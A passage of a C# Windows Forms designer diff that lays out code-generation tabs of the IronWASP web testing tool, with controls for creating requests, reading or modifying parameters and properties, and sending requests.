System.Drawing.Color.White; + this.CRLogSourceGrid.Location = new System.Drawing.Point(6, 6); + this.CRLogSourceGrid.Name = "CRLogSourceGrid"; + this.CRLogSourceGrid.ReadOnly = true; + this.CRLogSourceGrid.RowHeadersVisible = false; + this.CRLogSourceGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.CRLogSourceGrid.Size = new System.Drawing.Size(271, 132); + this.CRLogSourceGrid.TabIndex = 7; + this.CRLogSourceGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.CRLogSourceGrid_CellClick); + // + // Column1 + // + this.Column1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.Column1.HeaderText = ""; + this.Column1.MinimumWidth = 25; + this.Column1.Name = "Column1"; + this.Column1.ReadOnly = true; + this.Column1.Width = 25; + // + // Column2 + // + this.Column2.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.Column2.HeaderText = "Select the Log Source from below:"; + this.Column2.Name = "Column2"; + this.Column2.ReadOnly = true; + this.Column2.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.Column2.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // CRLogIdTB + // + this.CRLogIdTB.Location = new System.Drawing.Point(387, 9); + this.CRLogIdTB.Name = "CRLogIdTB"; + this.CRLogIdTB.Size = new System.Drawing.Size(86, 20); + this.CRLogIdTB.TabIndex = 8; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(290, 12); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(86, 13); + this.label2.TabIndex = 9; + this.label2.Text = "Enter the Log Id:"; + // + // CRFromUrlPanel + // + this.CRFromUrlPanel.Controls.Add(this.CRRequestBodyTB); + this.CRFromUrlPanel.Controls.Add(this.CRRequestUrlTB); + this.CRFromUrlPanel.Controls.Add(this.label1); + this.CRFromUrlPanel.Controls.Add(this.CRIncludeRequestBodyCB); + this.CRFromUrlPanel.Location = new System.Drawing.Point(4, 80); + this.CRFromUrlPanel.Name = "CRFromUrlPanel"; + this.CRFromUrlPanel.Size = new System.Drawing.Size(760, 73); + this.CRFromUrlPanel.TabIndex = 11; + // + // CRRequestBodyTB + // + this.CRRequestBodyTB.Enabled = false; + this.CRRequestBodyTB.Location = new System.Drawing.Point(284, 42); + this.CRRequestBodyTB.Name = "CRRequestBodyTB"; + this.CRRequestBodyTB.Size = new System.Drawing.Size(467, 20); + this.CRRequestBodyTB.TabIndex = 5; + // + // CRRequestUrlTB + // + this.CRRequestUrlTB.Location = new System.Drawing.Point(115, 8); + this.CRRequestUrlTB.Name = "CRRequestUrlTB"; + this.CRRequestUrlTB.Size = new System.Drawing.Size(438, 20); + this.CRRequestUrlTB.TabIndex = 3; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(6, 11); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(103, 13); + this.label1.TabIndex = 4; + this.label1.Text = "Enter Request URL:"; + // + // CRIncludeRequestBodyCB + // + this.CRIncludeRequestBodyCB.AutoSize = true; + this.CRIncludeRequestBodyCB.Location = new System.Drawing.Point(8, 43); + this.CRIncludeRequestBodyCB.Name = "CRIncludeRequestBodyCB"; + this.CRIncludeRequestBodyCB.Size = new System.Drawing.Size(270, 17); + this.CRIncludeRequestBodyCB.TabIndex = 6; + this.CRIncludeRequestBodyCB.Text = "Include this POST body with the Request(optional) :"; + this.CRIncludeRequestBodyCB.UseVisualStyleBackColor = true; + this.CRIncludeRequestBodyCB.CheckedChanged += new System.EventHandler(this.CRIncludeRequestBodyCB_CheckedChanged); + // + // CRCreateCodeBtn + // + this.CRCreateCodeBtn.Location = new System.Drawing.Point(608, 248); + this.CRCreateCodeBtn.Name = "CRCreateCodeBtn"; + this.CRCreateCodeBtn.Size = new System.Drawing.Size(136, 23); + this.CRCreateCodeBtn.TabIndex = 10; + this.CRCreateCodeBtn.Text = "Generate Code"; + this.CRCreateCodeBtn.UseVisualStyleBackColor = true; + this.CRCreateCodeBtn.Click += new System.EventHandler(this.CRCreateCodeBtn_Click); + // + // CRFromLogRB + // + this.CRFromLogRB.AutoSize = true; + this.CRFromLogRB.Location = new System.Drawing.Point(195, 57); + this.CRFromLogRB.Name = "CRFromLogRB"; + this.CRFromLogRB.Size = new System.Drawing.Size(278, 17); + this.CRFromLogRB.TabIndex = 2; + this.CRFromLogRB.Text = "Pick a Request that is available in the IronWASP logs"; + this.CRFromLogRB.UseVisualStyleBackColor = true; + this.CRFromLogRB.CheckedChanged += new System.EventHandler(this.CRFromLogRB_CheckedChanged); + // + // CRFromUrlRB + // + this.CRFromUrlRB.AutoSize = true; + this.CRFromUrlRB.Checked = true; + this.CRFromUrlRB.Location = new System.Drawing.Point(18, 57); + this.CRFromUrlRB.Name = "CRFromUrlRB"; + this.CRFromUrlRB.Size = new System.Drawing.Size(156, 17); + this.CRFromUrlRB.TabIndex = 1; + this.CRFromUrlRB.TabStop = true; + this.CRFromUrlRB.Text = "Create Request from a URL"; + this.CRFromUrlRB.UseVisualStyleBackColor = true; + this.CRFromUrlRB.CheckedChanged += new System.EventHandler(this.CRFromUrlRB_CheckedChanged); + // + // textBox1 + // + this.textBox1.BackColor = System.Drawing.Color.White; + this.textBox1.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox1.Location = new System.Drawing.Point(18, 16); + this.textBox1.Multiline = true; + this.textBox1.Name = "textBox1"; + this.textBox1.ReadOnly = true; + this.textBox1.Size = new System.Drawing.Size(726, 24); + this.textBox1.TabIndex = 0; + this.textBox1.TabStop = false; + this.textBox1.Text = "You can define how you want to create a Request and the equivalent code for doing" + + " that will be displayed below."; + // + // tabPage12 + // + this.tabPage12.BackColor = System.Drawing.Color.White; + this.tabPage12.Controls.Add(this.RPPParameterDescriptionTB); + this.tabPage12.Controls.Add(this.RPPErrorTB); + this.tabPage12.Controls.Add(this.RPPCreateCodeBtn); + this.tabPage12.Controls.Add(this.RPPParameterValueTB); + this.tabPage12.Controls.Add(this.RPPParameterValueLbl); + this.tabPage12.Controls.Add(this.RPPParameterNameTB); + this.tabPage12.Controls.Add(this.RPPParameterNameLbl); + this.tabPage12.Controls.Add(this.RPPQuestionGB); + this.tabPage12.Controls.Add(this.RPPActionGrid); + this.tabPage12.Controls.Add(this.RPPParameterTypeGrid); + this.tabPage12.Controls.Add(this.textBox3); + this.tabPage12.Location = new System.Drawing.Point(4, 22); + this.tabPage12.Name = "tabPage12"; + this.tabPage12.Size = new System.Drawing.Size(868, 302); + this.tabPage12.TabIndex = 4; + this.tabPage12.Text = " Read or Modify Parameters "; + // + // RPPParameterDescriptionTB + // + this.RPPParameterDescriptionTB.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.RPPParameterDescriptionTB.BackColor = System.Drawing.Color.White; + this.RPPParameterDescriptionTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.RPPParameterDescriptionTB.Location = new System.Drawing.Point(10, 197); + this.RPPParameterDescriptionTB.Multiline = true; + this.RPPParameterDescriptionTB.Name = "RPPParameterDescriptionTB"; + this.RPPParameterDescriptionTB.ReadOnly = true; + this.RPPParameterDescriptionTB.Size = new System.Drawing.Size(210, 59); + this.RPPParameterDescriptionTB.TabIndex = 17; + this.RPPParameterDescriptionTB.TabStop = false; + // + // RPPErrorTB + // + this.RPPErrorTB.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.RPPErrorTB.BackColor = System.Drawing.Color.Red; + this.RPPErrorTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.RPPErrorTB.Location = new System.Drawing.Point(16, 262); + this.RPPErrorTB.Multiline = true; + this.RPPErrorTB.Name = "RPPErrorTB"; + this.RPPErrorTB.ReadOnly = true; + this.RPPErrorTB.Size = new System.Drawing.Size(568, 35); + this.RPPErrorTB.TabIndex = 16; + this.RPPErrorTB.TabStop = false; + this.RPPErrorTB.Visible = false; + // + // RPPCreateCodeBtn + // + this.RPPCreateCodeBtn.Location = new System.Drawing.Point(621, 267); + this.RPPCreateCodeBtn.Name = "RPPCreateCodeBtn"; + this.RPPCreateCodeBtn.Size = new System.Drawing.Size(136, 23); + this.RPPCreateCodeBtn.TabIndex = 15; + this.RPPCreateCodeBtn.Text = "Generate Code"; + this.RPPCreateCodeBtn.UseVisualStyleBackColor = true; + this.RPPCreateCodeBtn.Click += new System.EventHandler(this.RPPCreateCodeBtn_Click); + // + // RPPParameterValueTB + // + this.RPPParameterValueTB.Location = new System.Drawing.Point(598, 93); + this.RPPParameterValueTB.Name = "RPPParameterValueTB"; + this.RPPParameterValueTB.Size = new System.Drawing.Size(146, 20); + this.RPPParameterValueTB.TabIndex = 13; + this.RPPParameterValueTB.Visible = false; + // + // RPPParameterValueLbl + // + this.RPPParameterValueLbl.AutoSize = true; + this.RPPParameterValueLbl.Location = new System.Drawing.Point(475, 96); + this.RPPParameterValueLbl.Name = "RPPParameterValueLbl"; + this.RPPParameterValueLbl.Size = new System.Drawing.Size(116, 13); + this.RPPParameterValueLbl.TabIndex = 14; + this.RPPParameterValueLbl.Text = "Enter Parameter Value:"; + this.RPPParameterValueLbl.Visible = false; + // + // RPPParameterNameTB + // + this.RPPParameterNameTB.Location = new System.Drawing.Point(598, 67); + this.RPPParameterNameTB.Name = "RPPParameterNameTB"; + this.RPPParameterNameTB.Size = new System.Drawing.Size(146, 20); + this.RPPParameterNameTB.TabIndex = 11; + this.RPPParameterNameTB.Visible = false; + // + // RPPParameterNameLbl + // + this.RPPParameterNameLbl.AutoSize = true; + this.RPPParameterNameLbl.Location = new System.Drawing.Point(475, 70); + this.RPPParameterNameLbl.Name = "RPPParameterNameLbl"; + this.RPPParameterNameLbl.Size = new System.Drawing.Size(117, 13); + this.RPPParameterNameLbl.TabIndex = 12; + this.RPPParameterNameLbl.Text = "Enter Parameter Name:"; + this.RPPParameterNameLbl.Visible = false; + // + // RPPQuestionGB + // + this.RPPQuestionGB.Controls.Add(this.RPPAnswerTwoRB); + this.RPPQuestionGB.Controls.Add(this.RPPAnswerOneRB); + this.RPPQuestionGB.Location = new System.Drawing.Point(478, 142); + this.RPPQuestionGB.Name = "RPPQuestionGB"; + this.RPPQuestionGB.Size = new System.Drawing.Size(267, 103); + this.RPPQuestionGB.TabIndex = 10; + this.RPPQuestionGB.TabStop = false; + this.RPPQuestionGB.Text = "If a parameter with this name already exists then what do you wish to do?"; + this.RPPQuestionGB.Visible = false; + // + // RPPAnswerTwoRB + // + this.RPPAnswerTwoRB.AutoSize = true; + this.RPPAnswerTwoRB.Location = new System.Drawing.Point(27, 67); + this.RPPAnswerTwoRB.Name = "RPPAnswerTwoRB"; + this.RPPAnswerTwoRB.Size = new System.Drawing.Size(39, 17); + this.RPPAnswerTwoRB.TabIndex = 6; + this.RPPAnswerTwoRB.Text = "No"; + this.RPPAnswerTwoRB.UseVisualStyleBackColor = true; + // + // RPPAnswerOneRB + // + this.RPPAnswerOneRB.AutoSize = true; + this.RPPAnswerOneRB.Checked = true; + this.RPPAnswerOneRB.Location = new System.Drawing.Point(27, 44); + this.RPPAnswerOneRB.Name = "RPPAnswerOneRB"; + this.RPPAnswerOneRB.Size = new System.Drawing.Size(43, 17); + this.RPPAnswerOneRB.TabIndex = 5; + this.RPPAnswerOneRB.TabStop = true; + this.RPPAnswerOneRB.Text = "Yes"; + this.RPPAnswerOneRB.UseVisualStyleBackColor = true; + // + // RPPActionGrid + // + this.RPPActionGrid.AllowUserToAddRows = false; + this.RPPActionGrid.AllowUserToDeleteRows = false; + this.RPPActionGrid.AllowUserToResizeRows = false; + this.RPPActionGrid.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left))); + this.RPPActionGrid.BackgroundColor = System.Drawing.Color.White; + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle2.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.RPPActionGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle2; + this.RPPActionGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.RPPActionGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewCheckBoxColumn2, + this.dataGridViewTextBoxColumn2}); + this.RPPActionGrid.GridColor = System.Drawing.Color.White; + this.RPPActionGrid.Location = new System.Drawing.Point(228, 44); + this.RPPActionGrid.Name = "RPPActionGrid"; + this.RPPActionGrid.ReadOnly = true; + this.RPPActionGrid.RowHeadersVisible = false; + this.RPPActionGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.RPPActionGrid.Size = new System.Drawing.Size(241, 213); + this.RPPActionGrid.TabIndex = 9; + this.RPPActionGrid.Visible = false; + this.RPPActionGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.RPPActionGrid_CellClick); + // + // dataGridViewCheckBoxColumn2 + // + this.dataGridViewCheckBoxColumn2.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewCheckBoxColumn2.HeaderText = ""; + this.dataGridViewCheckBoxColumn2.MinimumWidth = 25; + this.dataGridViewCheckBoxColumn2.Name = "dataGridViewCheckBoxColumn2"; + this.dataGridViewCheckBoxColumn2.ReadOnly = true; + this.dataGridViewCheckBoxColumn2.Width = 25; + // + // dataGridViewTextBoxColumn2 + // + this.dataGridViewTextBoxColumn2.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn2.HeaderText = "Select the action you want to perform:"; + this.dataGridViewTextBoxColumn2.Name = "dataGridViewTextBoxColumn2"; + this.dataGridViewTextBoxColumn2.ReadOnly = true; + this.dataGridViewTextBoxColumn2.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.dataGridViewTextBoxColumn2.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // RPPParameterTypeGrid + // + this.RPPParameterTypeGrid.AllowUserToAddRows = false; + this.RPPParameterTypeGrid.AllowUserToDeleteRows = false; + this.RPPParameterTypeGrid.AllowUserToResizeRows = false; + this.RPPParameterTypeGrid.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left))); + this.RPPParameterTypeGrid.BackgroundColor = System.Drawing.Color.White; + dataGridViewCellStyle3.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle3.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle3.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle3.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle3.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle3.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle3.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.RPPParameterTypeGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle3; + this.RPPParameterTypeGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.RPPParameterTypeGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewCheckBoxColumn1, + this.dataGridViewTextBoxColumn1, + this.Column3}); + this.RPPParameterTypeGrid.GridColor = System.Drawing.Color.White; + this.RPPParameterTypeGrid.Location = new System.Drawing.Point(10, 44); + this.RPPParameterTypeGrid.Name = "RPPParameterTypeGrid"; + this.RPPParameterTypeGrid.ReadOnly = true; + this.RPPParameterTypeGrid.RowHeadersVisible = false; + this.RPPParameterTypeGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.RPPParameterTypeGrid.Size = new System.Drawing.Size(210, 147); + this.RPPParameterTypeGrid.TabIndex = 8; + this.RPPParameterTypeGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.RPPParameterTypeGrid_CellClick); + // + // dataGridViewCheckBoxColumn1 + // + this.dataGridViewCheckBoxColumn1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewCheckBoxColumn1.HeaderText = ""; + this.dataGridViewCheckBoxColumn1.MinimumWidth = 25; + this.dataGridViewCheckBoxColumn1.Name = "dataGridViewCheckBoxColumn1"; + this.dataGridViewCheckBoxColumn1.ReadOnly = true; + this.dataGridViewCheckBoxColumn1.Width = 25; + // + // dataGridViewTextBoxColumn1 + // + this.dataGridViewTextBoxColumn1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn1.HeaderText = "Select the Parameter Type:"; + this.dataGridViewTextBoxColumn1.Name = "dataGridViewTextBoxColumn1"; + this.dataGridViewTextBoxColumn1.ReadOnly = true; + this.dataGridViewTextBoxColumn1.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.dataGridViewTextBoxColumn1.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // Column3 + // + this.Column3.HeaderText = "Desc"; + this.Column3.Name = "Column3"; + this.Column3.ReadOnly = true; + this.Column3.Visible = false; + // + // textBox3 + // + this.textBox3.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.textBox3.BackColor = System.Drawing.Color.White; + this.textBox3.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox3.Location = new System.Drawing.Point(18, 10); + this.textBox3.Multiline = true; + this.textBox3.Name = "textBox3"; + this.textBox3.ReadOnly = true; + this.textBox3.Size = new System.Drawing.Size(826, 28); + this.textBox3.TabIndex = 1; + this.textBox3.TabStop = false; + this.textBox3.Text = "You can read or modify any of the parameters in the Request. Select the parameter" + + " type, name and actions you want to perform below and the equivalent code will b" + + "e generated. "; + // + // tabPage7 + // + this.tabPage7.BackColor = System.Drawing.Color.White; + this.tabPage7.Controls.Add(this.ROPDisplayRTB); + this.tabPage7.Controls.Add(this.ROPParameterDescriptionTB); + this.tabPage7.Controls.Add(this.ROPErrorTB); + this.tabPage7.Controls.Add(this.ROPCreateCodeBtn); + this.tabPage7.Controls.Add(this.ROPParameterValueTB); + this.tabPage7.Controls.Add(this.ROPParameterValueLbl); + this.tabPage7.Controls.Add(this.ROPQuestionGB); + this.tabPage7.Controls.Add(this.ROPParameterTypeGrid); + this.tabPage7.Controls.Add(this.textBox7); + this.tabPage7.Location = new System.Drawing.Point(4, 22); + this.tabPage7.Margin = new System.Windows.Forms.Padding(0); + this.tabPage7.Name = "tabPage7"; + this.tabPage7.Size = new System.Drawing.Size(868, 302); + this.tabPage7.TabIndex = 1; + this.tabPage7.Text = " Read or Modify Other Properties "; + // + // ROPDisplayRTB + // + this.ROPDisplayRTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ROPDisplayRTB.BackColor = System.Drawing.Color.White; + this.ROPDisplayRTB.DetectUrls = false; + this.ROPDisplayRTB.Location = new System.Drawing.Point(11, 6); + this.ROPDisplayRTB.Name = "ROPDisplayRTB"; + this.ROPDisplayRTB.ReadOnly = true; + this.ROPDisplayRTB.Size = new System.Drawing.Size(847, 108); + this.ROPDisplayRTB.TabIndex = 26; + this.ROPDisplayRTB.Text = ""; + // + // ROPParameterDescriptionTB + // + this.ROPParameterDescriptionTB.BackColor = System.Drawing.Color.White; + this.ROPParameterDescriptionTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.ROPParameterDescriptionTB.Location = new System.Drawing.Point(227, 179); + this.ROPParameterDescriptionTB.Multiline = true; + this.ROPParameterDescriptionTB.Name = "ROPParameterDescriptionTB"; + this.ROPParameterDescriptionTB.ReadOnly = true; + this.ROPParameterDescriptionTB.Size = new System.Drawing.Size(240, 65); + this.ROPParameterDescriptionTB.TabIndex = 25; + this.ROPParameterDescriptionTB.TabStop = false; + // + // ROPErrorTB + // + this.ROPErrorTB.BackColor = System.Drawing.Color.Red; + this.ROPErrorTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.ROPErrorTB.Location = new System.Drawing.Point(227, 260); + this.ROPErrorTB.Multiline = true; + this.ROPErrorTB.Name = "ROPErrorTB"; + this.ROPErrorTB.ReadOnly = true; + this.ROPErrorTB.Size = new System.Drawing.Size(358, 35); + this.ROPErrorTB.TabIndex = 24; + this.ROPErrorTB.TabStop = false; + this.ROPErrorTB.Visible = false; + // + // ROPCreateCodeBtn + // + this.ROPCreateCodeBtn.Location = new System.Drawing.Point(622, 265); + this.ROPCreateCodeBtn.Name = "ROPCreateCodeBtn"; + this.ROPCreateCodeBtn.Size = new System.Drawing.Size(136, 23); + this.ROPCreateCodeBtn.TabIndex = 23; + this.ROPCreateCodeBtn.Text = "Generate Code"; + this.ROPCreateCodeBtn.UseVisualStyleBackColor = true; + this.ROPCreateCodeBtn.Click += new System.EventHandler(this.ROPCreateCodeBtn_Click); + // + // ROPParameterValueTB + // + this.ROPParameterValueTB.Location = new System.Drawing.Point(590, 225); + this.ROPParameterValueTB.Name = "ROPParameterValueTB"; + this.ROPParameterValueTB.Size = new System.Drawing.Size(173, 20); + this.ROPParameterValueTB.TabIndex = 21; + this.ROPParameterValueTB.Visible = false; + // + // ROPParameterValueLbl + // + this.ROPParameterValueLbl.AutoSize = true; + this.ROPParameterValueLbl.Location = new System.Drawing.Point(494, 228); + this.ROPParameterValueLbl.Name = "ROPParameterValueLbl"; + this.ROPParameterValueLbl.Size = new System.Drawing.Size(90, 13); + this.ROPParameterValueLbl.TabIndex = 22; + this.ROPParameterValueLbl.Text = "Enter New Value:"; + this.ROPParameterValueLbl.Visible = false; + // + // ROPQuestionGB + // + this.ROPQuestionGB.Controls.Add(this.ROPAnswerEditRB); + this.ROPQuestionGB.Controls.Add(this.ROPAnswerReadRB); + this.ROPQuestionGB.Location = new System.Drawing.Point(497, 155); + this.ROPQuestionGB.Name = "ROPQuestionGB"; + this.ROPQuestionGB.Size = new System.Drawing.Size(267, 53); + this.ROPQuestionGB.TabIndex = 20; + this.ROPQuestionGB.TabStop = false; + this.ROPQuestionGB.Text = "Do you want to read or modify this value?"; + this.ROPQuestionGB.Visible = false; + // + // ROPAnswerEditRB + // + this.ROPAnswerEditRB.AutoSize = true; + this.ROPAnswerEditRB.Checked = true; + this.ROPAnswerEditRB.Location = new System.Drawing.Point(120, 21); + this.ROPAnswerEditRB.Name = "ROPAnswerEditRB"; + this.ROPAnswerEditRB.Size = new System.Drawing.Size(43, 17); + this.ROPAnswerEditRB.TabIndex = 6; + this.ROPAnswerEditRB.TabStop = true; + this.ROPAnswerEditRB.Text = "Edit"; + this.ROPAnswerEditRB.UseVisualStyleBackColor = true; + // + // ROPAnswerReadRB + // + this.ROPAnswerReadRB.AutoSize = true; + this.ROPAnswerReadRB.Location = new System.Drawing.Point(21, 21); + this.ROPAnswerReadRB.Name = "ROPAnswerReadRB"; + this.ROPAnswerReadRB.Size = new System.Drawing.Size(51, 17); + this.ROPAnswerReadRB.TabIndex = 5; + this.ROPAnswerReadRB.Text = "Read"; + this.ROPAnswerReadRB.UseVisualStyleBackColor = true; + this.ROPAnswerReadRB.CheckedChanged += new System.EventHandler(this.ROPAnswerReadRB_CheckedChanged); + // + // ROPParameterTypeGrid + // + this.ROPParameterTypeGrid.AllowUserToAddRows = false; + this.ROPParameterTypeGrid.AllowUserToDeleteRows = false; + this.ROPParameterTypeGrid.AllowUserToResizeRows = false; + this.ROPParameterTypeGrid.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left))); + this.ROPParameterTypeGrid.BackgroundColor = System.Drawing.Color.White; + dataGridViewCellStyle4.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle4.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle4.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle4.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle4.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle4.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle4.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.ROPParameterTypeGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle4; + this.ROPParameterTypeGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.ROPParameterTypeGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewCheckBoxColumn3, + this.dataGridViewTextBoxColumn3, + this.Column4, + this.Column5, + this.dataGridViewTextBoxColumn4}); + this.ROPParameterTypeGrid.GridColor = System.Drawing.Color.White; + this.ROPParameterTypeGrid.Location = new System.Drawing.Point(11, 155); + this.ROPParameterTypeGrid.Name = "ROPParameterTypeGrid"; + this.ROPParameterTypeGrid.ReadOnly = true; + this.ROPParameterTypeGrid.RowHeadersVisible = false; + this.ROPParameterTypeGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.ROPParameterTypeGrid.Size = new System.Drawing.Size(210, 140); + this.ROPParameterTypeGrid.TabIndex = 19; + this.ROPParameterTypeGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.ROPParameterTypeGrid_CellClick); + // + // dataGridViewCheckBoxColumn3 + // + this.dataGridViewCheckBoxColumn3.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewCheckBoxColumn3.HeaderText = ""; + this.dataGridViewCheckBoxColumn3.MinimumWidth = 25; + this.dataGridViewCheckBoxColumn3.Name = "dataGridViewCheckBoxColumn3"; + this.dataGridViewCheckBoxColumn3.ReadOnly = true; + this.dataGridViewCheckBoxColumn3.Width = 25; + // + // dataGridViewTextBoxColumn3 + // + this.dataGridViewTextBoxColumn3.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn3.HeaderText = "Select the Property Type:"; + this.dataGridViewTextBoxColumn3.Name = "dataGridViewTextBoxColumn3"; + this.dataGridViewTextBoxColumn3.ReadOnly = true; + this.dataGridViewTextBoxColumn3.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.dataGridViewTextBoxColumn3.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // Column4 + // + this.Column4.HeaderText = "Tag"; + this.Column4.Name = "Column4"; + this.Column4.ReadOnly = true; + this.Column4.Visible = false; + // + // Column5 + // + this.Column5.HeaderText = "FullOrUrl"; + this.Column5.Name = "Column5"; + this.Column5.ReadOnly = true; + this.Column5.Visible = false; + // + // dataGridViewTextBoxColumn4 + // + this.dataGridViewTextBoxColumn4.HeaderText = "Desc"; + this.dataGridViewTextBoxColumn4.Name = "dataGridViewTextBoxColumn4"; + this.dataGridViewTextBoxColumn4.ReadOnly = true; + this.dataGridViewTextBoxColumn4.Visible = false; + // + // textBox7 + // + this.textBox7.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.textBox7.BackColor = System.Drawing.Color.White; + this.textBox7.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox7.Location = new System.Drawing.Point(14, 120); + this.textBox7.Multiline = true; + this.textBox7.Name = "textBox7"; + this.textBox7.ReadOnly = true; + this.textBox7.Size = new System.Drawing.Size(826, 28); + this.textBox7.TabIndex = 18; + this.textBox7.TabStop = false; + this.textBox7.Text = resources.GetString("textBox7.Text"); + // + // tabPage8 + // + this.tabPage8.BackColor = System.Drawing.Color.White; + this.tabPage8.Controls.Add(this.SRErrorTB); + this.tabPage8.Controls.Add(this.SRCreateCodeBtn); + this.tabPage8.Controls.Add(this.SRLogSourceTB); + this.tabPage8.Controls.Add(this.SRLogSourceLbl); + this.tabPage8.Controls.Add(this.groupBox1); + this.tabPage8.Controls.Add(this.SRSendWithLogSourceRB); + this.tabPage8.Controls.Add(this.SRNormalSendRB); + this.tabPage8.Controls.Add(this.textBox2); + this.tabPage8.Location = new System.Drawing.Point(4, 22); + this.tabPage8.Name = 